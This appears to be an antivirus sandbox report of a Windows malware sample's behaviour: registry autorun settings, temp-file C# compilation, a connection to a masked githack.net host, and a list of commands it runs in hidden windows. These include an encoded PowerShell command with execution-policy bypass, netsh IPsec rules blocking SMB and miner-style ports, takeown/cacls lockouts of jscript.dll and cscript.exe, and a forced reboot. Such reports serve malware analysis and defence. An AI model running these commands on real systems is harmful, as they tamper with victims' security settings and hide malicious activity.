Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\PolicyAgent] 'Start' = '00000002'
Modifies file system
Creates the following files
- %TEMP%\5yptqosq.0.cs
- %TEMP%\5yptqosq.cmdline
- %TEMP%\5yptqosq.out
- %TEMP%\csc5e55.tmp
- %TEMP%\res5e65.tmp
- %TEMP%\5yptqosq.dll
- %WINDIR%\.ini
- %WINDIR%\.log
- %WINDIR%\.xml
Deletes the following files
- %TEMP%\res5e65.tmp
- %TEMP%\csc5e55.tmp
- %TEMP%\5yptqosq.pdb
- %TEMP%\5yptqosq.out
- %TEMP%\5yptqosq.dll
- %TEMP%\5yptqosq.cmdline
- %TEMP%\5yptqosq.0.cs
Network activity
Connects to
- 'ra####.githack.net':443
TCP
- 'ra####.githack.net':443
UDP
- DNS ASK ra####.githack.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5yptqosq.cmdline"' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14443 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14444 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filteraction name=FilteraAtion1 action=block' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1' (with hidden window)
- '%WINDIR%\syswow64\takeown.exe' /f <SYSTEM32>\jscript.dll' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP' (with hidden window)
- '%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\jscript.dll /E /P everyone:N' (with hidden window)
- '%WINDIR%\syswow64\takeown.exe' /f %WINDIR%\syswow64\jscript.dll' (with hidden window)
- '%WINDIR%\syswow64\cacls.exe' %WINDIR%\syswow64\jscript.dll /E /P everyone:N' (with hidden window)
- '%WINDIR%\syswow64\takeown.exe' /f <SYSTEM32>\cscript.exe' (with hidden window)
- '%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\cscript.exe /E /P everyone:N' (with hidden window)
- '%WINDIR%\syswow64\takeown.exe' /f %WINDIR%\syswow64\cscript.exe' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=7777 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static set policy name=qianye assign=y' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filterlist name=Filter1' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' ipsec static add policy name=qianye' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' interface ipv6 install' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5E65.tmp" "%TEMP%\CSC5E55.tmp"' (with hidden window)
- '%WINDIR%\syswow64\cacls.exe' %WINDIR%\syswow64\cscript.exe /E /P everyone:N' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Start-Sleep -Seconds 900; Restart-Computer -Force' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -exec bypass -EncodedCommand DQAKACQAUgBlAGcAawBlAHkAcABhAHQAaAAgAD0AIAAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcADcALQBaAGkAcAAiAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGk...
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14443 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14444 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filteraction name=FilteraAtion1 action=block
- '%WINDIR%\syswow64\netsh.exe' ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1
- '%WINDIR%\syswow64\takeown.exe' /f <SYSTEM32>\jscript.dll
- '%WINDIR%\syswow64\cacls.exe' %WINDIR%\syswow64\cscript.exe /E /P everyone:N
- '%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\jscript.dll /E /P everyone:N
- '%WINDIR%\syswow64\takeown.exe' /f %WINDIR%\syswow64\jscript.dll
- '%WINDIR%\syswow64\cacls.exe' %WINDIR%\syswow64\jscript.dll /E /P everyone:N
- '%WINDIR%\syswow64\takeown.exe' /f <SYSTEM32>\cscript.exe
- '%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\cscript.exe /E /P everyone:N
- '%WINDIR%\syswow64\takeown.exe' /f %WINDIR%\syswow64\cscript.exe
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static set policy name=qianye assign=y
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=7777 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5yptqosq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5E65.tmp" "%TEMP%\CSC5E55.tmp"
- '%WINDIR%\syswow64\netsh.exe' interface ipv6 install
- '%WINDIR%\syswow64\netsh.exe' ipsec static add policy name=qianye
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filterlist name=Filter1
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP
- '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Start-Sleep -Seconds 900; Restart-Computer -Force
